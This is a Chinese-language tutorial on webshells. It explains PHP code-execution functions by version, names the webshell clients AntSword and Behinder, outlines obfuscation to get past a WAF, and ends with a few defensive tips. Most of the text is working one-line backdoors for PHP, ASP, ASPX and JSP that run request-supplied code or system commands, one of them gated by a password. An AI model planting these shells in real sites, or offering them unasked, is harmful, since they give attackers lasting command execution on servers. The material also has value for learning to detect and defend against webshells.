什么是 WebShell
webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门
由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具
攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权
Webshell分类
一句话木马的执行过程
PHP中常见的代码执行函数
执行函数与 Webshell的关系
PHP中常见的代码执行函数
eval()、 assert()、 preg_replace()、create_function()
命令执行函数
各个版本php支持函数如下
5.x :eval / assert / preg_replace /e /create_function
7.x :eval / assert
8.x :eval
常用PHP函数版本Webshell
**// eval()函数** <?php eval($_REQUEST["cmd"]);?> **// assert()函数** <?php assert($_REQUEST["cmd"]);?> **// preg_replace()函数** <?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?> **// create_function()函数** <?php $func = create_function('',$_REQUEST['cmd']); $func(); ?> **// array_map()函数** <?php //func=system&cmd=ipconfig $func=$_REQUEST['func']; $cmd=$_REQUEST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?> **// array_filter函数** <?php //func=system&cmd=whoami $cmd=$_REQUEST['cmd']; $array1=array($cmd); $func=$_REQUEST['func']; array_filter($array1,$func); ?>
php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格
<?php echo "这是xml风格的标记"; ?>
<script languange="php"> echo'这是脚本风格的标记'; </script>
<? 这是简短风格的标记; ?>
注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭
<% echo '这是asp风格的标记'; %>
注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭
// 菜刀可以连接的 Webshell <%eval request("cmd")%> <%execute request("cmd")%> <%execute(request("cmd"))%> <%executeGlobal request("cmd")%> <%eval(Request(chr(35)))%> # ASCII码值 // 可以执行系统命令的 WebShell <%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>
<%@ Page Language="Jscript"%> <%eval(Request.ltem["pass"],"unsafe");%> <%@ Page Language="Jscript" validateRequest="false" %> <%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>
// 执行系统命令且有回显 <% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); }out.print("</pre>"); }%>
攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作
AntSword是一个开放源代码,跨平台的网站管理工具
github项目地址:https://github.com/AntSwordProject/antSword
一款动态二进制加密 网站管理客户端
冰蝎″目前最新版本为v3.0,兼容性已经日益完善,加密不再依赖 PHP opens$!展功能,同时支持了简单的ASP
主体功能方面包括虚拟终端、 socks代理、文件管理、反弹she!数据库管理等,功能强大
github项目地址:https://github.com/rebeyond/behinder/releases
变形目的
waf通常以关键字 判断是否为一句话木马,但是一句话木马的变形有很多种,waf不可能全部拦截
想要绕过waf,需要掌握各种PHP小技巧,把技巧结合起来,可以设计出属于自己的一句话木马
变形方法
更换执行数据来源
字符替换 或者编码
采取隐匿 手段
使用和及时更新防护类工具或产品
对服务器的文件夹设置严格的读写权限
在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数
定期检查系统进程,查看是否有可疑的进程
根据文件的创建日期观察系统目录下是否有近期新建的可执行文件